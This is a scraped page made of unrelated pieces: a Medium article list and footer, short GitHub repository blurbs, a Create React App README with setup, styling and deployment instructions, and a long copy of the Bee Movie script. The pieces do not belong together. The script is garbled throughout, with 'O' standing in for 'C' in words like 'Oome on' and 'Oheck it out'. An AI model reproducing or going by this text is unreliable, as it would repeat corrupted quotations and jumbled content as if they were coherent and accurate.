Amrouche Sabrina Amrouche ·Apr 15, 2021 Using the Spotify Algorithm to Find High Energy Physics Particles Python 5 min read Using the Spotify Algorithm to Find High Energy Physics Particles Wenkai Fan Wenkai Fan ·Apr 14, 2021 Responsive design at different levels in Flutter Flutter 3 min read Responsive design at different levels in Flutter Abhishek Gupta Abhishek Gupta ·Apr 14, 2021 Getting started with Kafka and Rust: Part 2 Kafka 9 min read Getting started with Kafka and Rust: Part 2 Adriano Raiano Adriano Raiano ·Apr 14, 2021 How to properly internationalize a React application using i18next React 17 min read How to properly internationalize a React application using i18next Gary A. Stafford Gary A. Stafford ·Apr 14, 2021 AWS IoT Core for LoRaWAN, AWS IoT Analytics, and Amazon QuickSight Lora 11 min read AWS IoT Core for LoRaWAN, Amazon IoT Analytics, and Amazon QuickSight Read more from ITNEXT Recommended from Medium Morpheus Morpheus Morpheus Swap — Resurrection Ashutosh Kumar Ashutosh Kumar GIT Branching strategies and GitFlow Balachandar Paulraj Balachandar Paulraj Delta Lake Clones: Systematic Approach for Testing, Sharing data Jason Porter Jason Porter Week 3 -Yieldly No-Loss Lottery Results Casino slot machines Mikolaj Szabó Mikolaj Szabó in HackerNoon.com Why functional programming matters Tt Tt Set Up LaTeX on Mac OS X Sierra Goutham Pratapa Goutham Pratapa Upgrade mongo to the latest build Julia Says Julia Says in Top Software Developers in the World How to Choose a Software Vendor AboutHelpTermsPrivacy Get the Medium app A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
ingowald
OptiX version of Pete Shirley's "Ray Tracing in One Weekend" (Final Chapter example only)
final-form
An example of how to use 🏁 React Final Form in a CLI application with Ink
rramatchandran
# big-o-performance A simple html app to demonstrate performance costs of data structures. - Clone the project - Navigate to the root of the project in a termina or command prompt - Run 'npm install' - Run 'npm start' - Go to the URL specified in the terminal or command prompt to try out the app. # This app was created from the Create React App NPM. Below are instructions from that project. Below you will find some information on how to perform common tasks. You can find the most recent version of this guide [here](https://github.com/facebookincubator/create-react-app/blob/master/template/README.md). ## Table of Contents - [Updating to New Releases](#updating-to-new-releases) - [Sending Feedback](#sending-feedback) - [Folder Structure](#folder-structure) - [Available Scripts](#available-scripts) - [npm start](#npm-start) - [npm run build](#npm-run-build) - [npm run eject](#npm-run-eject) - [Displaying Lint Output in the Editor](#displaying-lint-output-in-the-editor) - [Installing a Dependency](#installing-a-dependency) - [Importing a Component](#importing-a-component) - [Adding a Stylesheet](#adding-a-stylesheet) - [Post-Processing CSS](#post-processing-css) - [Adding Images and Fonts](#adding-images-and-fonts) - [Adding Bootstrap](#adding-bootstrap) - [Adding Flow](#adding-flow) - [Adding Custom Environment Variables](#adding-custom-environment-variables) - [Integrating with a Node Backend](#integrating-with-a-node-backend) - [Proxying API Requests in Development](#proxying-api-requests-in-development) - [Deployment](#deployment) - [Now](#now) - [Heroku](#heroku) - [Surge](#surge) - [GitHub Pages](#github-pages) - [Something Missing?](#something-missing) ## Updating to New Releases Create React App is divided into two packages: * `create-react-app` is a global command-line utility that you use to create new projects. * `react-scripts` is a development dependency in the generated projects (including this one). You almost never need to update `create-react-app` itself: it’s delegates all the setup to `react-scripts`. When you run `create-react-app`, it always creates the project with the latest version of `react-scripts` so you’ll get all the new features and improvements in newly created apps automatically. To update an existing project to a new version of `react-scripts`, [open the changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md), find the version you’re currently on (check `package.json` in this folder if you’re not sure), and apply the migration instructions for the newer versions. In most cases bumping the `react-scripts` version in `package.json` and running `npm install` in this folder should be enough, but it’s good to consult the [changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md) for potential breaking changes. We commit to keeping the breaking changes minimal so you can upgrade `react-scripts` painlessly. ## Sending Feedback We are always open to [your feedback](https://github.com/facebookincubator/create-react-app/issues). ## Folder Structure After creation, your project should look like this: ``` my-app/ README.md index.html favicon.ico node_modules/ package.json src/ App.css App.js index.css index.js logo.svg ``` For the project to build, **these files must exist with exact filenames**: * `index.html` is the page template; * `favicon.ico` is the icon you see in the browser tab; * `src/index.js` is the JavaScript entry point. You can delete or rename the other files. You may create subdirectories inside `src`. For faster rebuilds, only files inside `src` are processed by Webpack. You need to **put any JS and CSS files inside `src`**, or Webpack won’t see them. You can, however, create more top-level directories. They will not be included in the production build so you can use them for things like documentation. ## Available Scripts In the project directory, you can run: ### `npm start` Runs the app in the development mode.<br> Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br> You will also see any lint errors in the console. ### `npm run build` Builds the app for production to the `build` folder.<br> It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed! ### `npm run eject` **Note: this is a one-way operation. Once you `eject`, you can’t go back!** If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. Instead, it will copy all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. ## Displaying Lint Output in the Editor >Note: this feature is available with `react-scripts@0.2.0` and higher. Some editors, including Sublime Text, Atom, and Visual Studio Code, provide plugins for ESLint. They are not required for linting. You should see the linter output right in your terminal as well as the browser console. However, if you prefer the lint results to appear right in your editor, there are some extra steps you can do. You would need to install an ESLint plugin for your editor first. >**A note for Atom `linter-eslint` users** >If you are using the Atom `linter-eslint` plugin, make sure that **Use global ESLint installation** option is checked: ><img src="http://i.imgur.com/yVNNHJM.png" width="300"> Then make sure `package.json` of your project ends with this block: ```js { // ... "eslintConfig": { "extends": "./node_modules/react-scripts/config/eslint.js" } } ``` Projects generated with `react-scripts@0.2.0` and higher should already have it. If you don’t need ESLint integration with your editor, you can safely delete those three lines from your `package.json`. Finally, you will need to install some packages *globally*: ```sh npm install -g eslint babel-eslint eslint-plugin-react eslint-plugin-import eslint-plugin-jsx-a11y eslint-plugin-flowtype ``` We recognize that this is suboptimal, but it is currently required due to the way we hide the ESLint dependency. The ESLint team is already [working on a solution to this](https://github.com/eslint/eslint/issues/3458) so this may become unnecessary in a couple of months. ## Installing a Dependency The generated project includes React and ReactDOM as dependencies. It also includes a set of scripts used by Create React App as a development dependency. You may install other dependencies (for example, React Router) with `npm`: ``` npm install --save <library-name> ``` ## Importing a Component This project setup supports ES6 modules thanks to Babel. While you can still use `require()` and `module.exports`, we encourage you to use [`import` and `export`](http://exploringjs.com/es6/ch_modules.html) instead. For example: ### `Button.js` ```js import React, { Component } from 'react'; class Button extends Component { render() { // ... } } export default Button; // Don’t forget to use export default! ``` ### `DangerButton.js` ```js import React, { Component } from 'react'; import Button from './Button'; // Import a component from another file class DangerButton extends Component { render() { return <Button color="red" />; } } export default DangerButton; ``` Be aware of the [difference between default and named exports](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281). It is a common source of mistakes. We suggest that you stick to using default imports and exports when a module only exports a single thing (for example, a component). That’s what you get when you use `export default Button` and `import Button from './Button'`. Named exports are useful for utility modules that export several functions. A module may have at most one default export and as many named exports as you like. Learn more about ES6 modules: * [When to use the curly braces?](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281) * [Exploring ES6: Modules](http://exploringjs.com/es6/ch_modules.html) * [Understanding ES6: Modules](https://leanpub.com/understandinges6/read#leanpub-auto-encapsulating-code-with-modules) ## Adding a Stylesheet This project setup uses [Webpack](https://webpack.github.io/) for handling all assets. Webpack offers a custom way of “extending” the concept of `import` beyond JavaScript. To express that a JavaScript file depends on a CSS file, you need to **import the CSS from the JavaScript file**: ### `Button.css` ```css .Button { padding: 20px; } ``` ### `Button.js` ```js import React, { Component } from 'react'; import './Button.css'; // Tell Webpack that Button.js uses these styles class Button extends Component { render() { // You can use them as regular CSS styles return <div className="Button" />; } } ``` **This is not required for React** but many people find this feature convenient. You can read about the benefits of this approach [here](https://medium.com/seek-ui-engineering/block-element-modifying-your-javascript-components-d7f99fcab52b). However you should be aware that this makes your code less portable to other build tools and environments than Webpack. In development, expressing dependencies this way allows your styles to be reloaded on the fly as you edit them. In production, all CSS files will be concatenated into a single minified `.css` file in the build output. If you are concerned about using Webpack-specific semantics, you can put all your CSS right into `src/index.css`. It would still be imported from `src/index.js`, but you could always remove that import if you later migrate to a different build tool. ## Post-Processing CSS This project setup minifies your CSS and adds vendor prefixes to it automatically through [Autoprefixer](https://github.com/postcss/autoprefixer) so you don’t need to worry about it. For example, this: ```css .App { display: flex; flex-direction: row; align-items: center; } ``` becomes this: ```css .App { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } ``` There is currently no support for preprocessors such as Less, or for sharing variables across CSS files. ## Adding Images and Fonts With Webpack, using static assets like images and fonts works similarly to CSS. You can **`import` an image right in a JavaScript module**. This tells Webpack to include that image in the bundle. Unlike CSS imports, importing an image or a font gives you a string value. This value is the final image path you can reference in your code. Here is an example: ```js import React from 'react'; import logo from './logo.png'; // Tell Webpack this JS file uses this image console.log(logo); // /logo.84287d09.png function Header() { // Import result is the URL of your image return <img src={logo} alt="Logo" />; } export default function Header; ``` This works in CSS too: ```css .Logo { background-image: url(./logo.png); } ``` Webpack finds all relative module references in CSS (they start with `./`) and replaces them with the final paths from the compiled bundle. If you make a typo or accidentally delete an important file, you will see a compilation error, just like when you import a non-existent JavaScript module. The final filenames in the compiled bundle are generated by Webpack from content hashes. If the file content changes in the future, Webpack will give it a different name in production so you don’t need to worry about long-term caching of assets. Please be advised that this is also a custom feature of Webpack. **It is not required for React** but many people enjoy it (and React Native uses a similar mechanism for images). However it may not be portable to some other environments, such as Node.js and Browserify. If you prefer to reference static assets in a more traditional way outside the module system, please let us know [in this issue](https://github.com/facebookincubator/create-react-app/issues/28), and we will consider support for this. ## Adding Bootstrap You don’t have to use [React Bootstrap](https://react-bootstrap.github.io) together with React but it is a popular library for integrating Bootstrap with React apps. If you need it, you can integrate it with Create React App by following these steps: Install React Bootstrap and Bootstrap from NPM. React Bootstrap does not include Bootstrap CSS so this needs to be installed as well: ``` npm install react-bootstrap --save npm install bootstrap@3 --save ``` Import Bootstrap CSS and optionally Bootstrap theme CSS in the ```src/index.js``` file: ```js import 'bootstrap/dist/css/bootstrap.css'; import 'bootstrap/dist/css/bootstrap-theme.css'; ``` Import required React Bootstrap components within ```src/App.js``` file or your custom component files: ```js import { Navbar, Jumbotron, Button } from 'react-bootstrap'; ``` Now you are ready to use the imported React Bootstrap components within your component hierarchy defined in the render method. Here is an example [`App.js`](https://gist.githubusercontent.com/gaearon/85d8c067f6af1e56277c82d19fd4da7b/raw/6158dd991b67284e9fc8d70b9d973efe87659d72/App.js) redone using React Bootstrap. ## Adding Flow Flow typing is currently [not supported out of the box](https://github.com/facebookincubator/create-react-app/issues/72) with the default `.flowconfig` generated by Flow. If you run it, you might get errors like this: ```js node_modules/fbjs/lib/Deferred.js.flow:60 60: Promise.prototype.done.apply(this._promise, arguments); ^^^^ property `done`. Property not found in 495: declare class Promise<+R> { ^ Promise. See lib: /private/tmp/flow/flowlib_34952d31/core.js:495 node_modules/fbjs/lib/shallowEqual.js.flow:29 29: return x !== 0 || 1 / (x: $FlowIssue) === 1 / (y: $FlowIssue); ^^^^^^^^^^ identifier `$FlowIssue`. Could not resolve name src/App.js:3 3: import logo from './logo.svg'; ^^^^^^^^^^^^ ./logo.svg. Required module not found src/App.js:4 4: import './App.css'; ^^^^^^^^^^^ ./App.css. Required module not found src/index.js:5 5: import './index.css'; ^^^^^^^^^^^^^ ./index.css. Required module not found ``` To fix this, change your `.flowconfig` to look like this: ```ini [libs] ./node_modules/fbjs/flow/lib [options] esproposal.class_static_fields=enable esproposal.class_instance_fields=enable module.name_mapper='^\(.*\)\.css$' -> 'react-scripts/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> 'react-scripts/config/flow/file' suppress_type=$FlowIssue suppress_type=$FlowFixMe ``` Re-run flow, and you shouldn’t get any extra issues. If you later `eject`, you’ll need to replace `react-scripts` references with the `<PROJECT_ROOT>` placeholder, for example: ```ini module.name_mapper='^\(.*\)\.css$' -> '<PROJECT_ROOT>/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> '<PROJECT_ROOT>/config/flow/file' ``` We will consider integrating more tightly with Flow in the future so that you don’t have to do this. ## Adding Custom Environment Variables >Note: this feature is available with `react-scripts@0.2.3` and higher. Your project can consume variables declared in your environment as if they were declared locally in your JS files. By default you will have `NODE_ENV` defined for you, and any other environment variables starting with `REACT_APP_`. These environment variables will be defined for you on `process.env`. For example, having an environment variable named `REACT_APP_SECRET_CODE` will be exposed in your JS as `process.env.REACT_APP_SECRET_CODE`, in addition to `process.env.NODE_ENV`. These environment variables can be useful for displaying information conditionally based on where the project is deployed or consuming sensitive data that lives outside of version control. First, you need to have environment variables defined, which can vary between OSes. For example, let's say you wanted to consume a secret defined in the environment inside a `<form>`: ```jsx render() { return ( <div> <small>You are running this application in <b>{process.env.NODE_ENV}</b> mode.</small> <form> <input type="hidden" defaultValue={process.env.REACT_APP_SECRET_CODE} /> </form> </div> ); } ``` The above form is looking for a variable called `REACT_APP_SECRET_CODE` from the environment. In order to consume this value, we need to have it defined in the environment: ### Windows (cmd.exe) ```cmd set REACT_APP_SECRET_CODE=abcdef&&npm start ``` (Note: the lack of whitespace is intentional.) ### Linux, OS X (Bash) ```bash REACT_APP_SECRET_CODE=abcdef npm start ``` > Note: Defining environment variables in this manner is temporary for the life of the shell session. Setting permanent environment variables is outside the scope of these docs. With our environment variable defined, we start the app and consume the values. Remember that the `NODE_ENV` variable will be set for you automatically. When you load the app in the browser and inspect the `<input>`, you will see its value set to `abcdef`, and the bold text will show the environment provided when using `npm start`: ```html <div> <small>You are running this application in <b>development</b> mode.</small> <form> <input type="hidden" value="abcdef" /> </form> </div> ``` Having access to the `NODE_ENV` is also useful for performing actions conditionally: ```js if (process.env.NODE_ENV !== 'production') { analytics.disable(); } ``` ## Integrating with a Node Backend Check out [this tutorial](https://www.fullstackreact.com/articles/using-create-react-app-with-a-server/) for instructions on integrating an app with a Node backend running on another port, and using `fetch()` to access it. You can find the companion GitHub repository [here](https://github.com/fullstackreact/food-lookup-demo). ## Proxying API Requests in Development >Note: this feature is available with `react-scripts@0.2.3` and higher. People often serve the front-end React app from the same host and port as their backend implementation. For example, a production setup might look like this after the app is deployed: ``` / - static server returns index.html with React app /todos - static server returns index.html with React app /api/todos - server handles any /api/* requests using the backend implementation ``` Such setup is **not** required. However, if you **do** have a setup like this, it is convenient to write requests like `fetch('/api/todos')` without worrying about redirecting them to another host or port during development. To tell the development server to proxy any unknown requests to your API server in development, add a `proxy` field to your `package.json`, for example: ```js "proxy": "http://localhost:4000", ``` This way, when you `fetch('/api/todos')` in development, the development server will recognize that it’s not a static asset, and will proxy your request to `http://localhost:4000/api/todos` as a fallback. Conveniently, this avoids [CORS issues](http://stackoverflow.com/questions/21854516/understanding-ajax-cors-and-security-considerations) and error messages like this in development: ``` Fetch API cannot load http://localhost:4000/api/todos. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:3000' is therefore not allowed access. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. ``` Keep in mind that `proxy` only has effect in development (with `npm start`), and it is up to you to ensure that URLs like `/api/todos` point to the right thing in production. You don’t have to use the `/api` prefix. Any unrecognized request will be redirected to the specified `proxy`. Currently the `proxy` option only handles HTTP requests, and it won’t proxy WebSocket connections. If the `proxy` option is **not** flexible enough for you, alternatively you can: * Enable CORS on your server ([here’s how to do it for Express](http://enable-cors.org/server_expressjs.html)). * Use [environment variables](#adding-custom-environment-variables) to inject the right server host and port into your app. ## Deployment By default, Create React App produces a build assuming your app is hosted at the server root. To override this, specify the `homepage` in your `package.json`, for example: ```js "homepage": "http://mywebsite.com/relativepath", ``` This will let Create React App correctly infer the root path to use in the generated HTML file. ### Now See [this example](https://github.com/xkawi/create-react-app-now) for a zero-configuration single-command deployment with [now](https://zeit.co/now). ### Heroku Use the [Heroku Buildpack for Create React App](https://github.com/mars/create-react-app-buildpack). You can find instructions in [Deploying React with Zero Configuration](https://blog.heroku.com/deploying-react-with-zero-configuration). ### Surge Install the Surge CLI if you haven't already by running `npm install -g surge`. Run the `surge` command and log in you or create a new account. You just need to specify the *build* folder and your custom domain, and you are done. ```sh email: email@domain.com password: ******** project path: /path/to/project/build size: 7 files, 1.8 MB domain: create-react-app.surge.sh upload: [====================] 100%, eta: 0.0s propagate on CDN: [====================] 100% plan: Free users: email@domain.com IP Address: X.X.X.X Success! Project is published and running at create-react-app.surge.sh ``` Note that in order to support routers that use html5 `pushState` API, you may want to rename the `index.html` in your build folder to `200.html` before deploying to Surge. This [ensures that every URL falls back to that file](https://surge.sh/help/adding-a-200-page-for-client-side-routing). ### GitHub Pages >Note: this feature is available with `react-scripts@0.2.0` and higher. Open your `package.json` and add a `homepage` field: ```js "homepage": "http://myusername.github.io/my-app", ``` **The above step is important!** Create React App uses the `homepage` field to determine the root URL in the built HTML file. Now, whenever you run `npm run build`, you will see a cheat sheet with a sequence of commands to deploy to GitHub pages: ```sh git commit -am "Save local changes" git checkout -B gh-pages git add -f build git commit -am "Rebuild website" git filter-branch -f --prune-empty --subdirectory-filter build git push -f origin gh-pages git checkout - ``` You may copy and paste them, or put them into a custom shell script. You may also customize them for another hosting provider. Note that GitHub Pages doesn't support routers that use the HTML5 `pushState` history API under the hood (for example, React Router using `browserHistory`). This is because when there is a fresh page load for a url like `http://user.github.io/todomvc/todos/42`, where `/todos/42` is a frontend route, the GitHub Pages server returns 404 because it knows nothing of `/todos/42`. If you want to add a router to a project hosted on GitHub Pages, here are a couple of solutions: * You could switch from using HTML5 history API to routing with hashes. If you use React Router, you can switch to `hashHistory` for this effect, but the URL will be longer and more verbose (for example, `http://user.github.io/todomvc/#/todos/42?_k=yknaj`). [Read more](https://github.com/reactjs/react-router/blob/master/docs/guides/Histories.md#histories) about different history implementations in React Router. * Alternatively, you can use a trick to teach GitHub Pages to handle 404 by redirecting to your `index.html` page with a special redirect parameter. You would need to add a `404.html` file with the redirection code to the `build` folder before deploying your project, and you’ll need to add code handling the redirect parameter to `index.html`. You can find a detailed explanation of this technique [in this guide](https://github.com/rafrex/spa-github-pages). ## Something Missing? If you have ideas for more “How To” recipes that should be on this page, [let us know](https://github.com/facebookincubator/create-react-app/issues) or [contribute some!](https://github.com/facebookincubator/create-react-app/edit/master/template/README.md)
MarkipTheMudkip
According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, 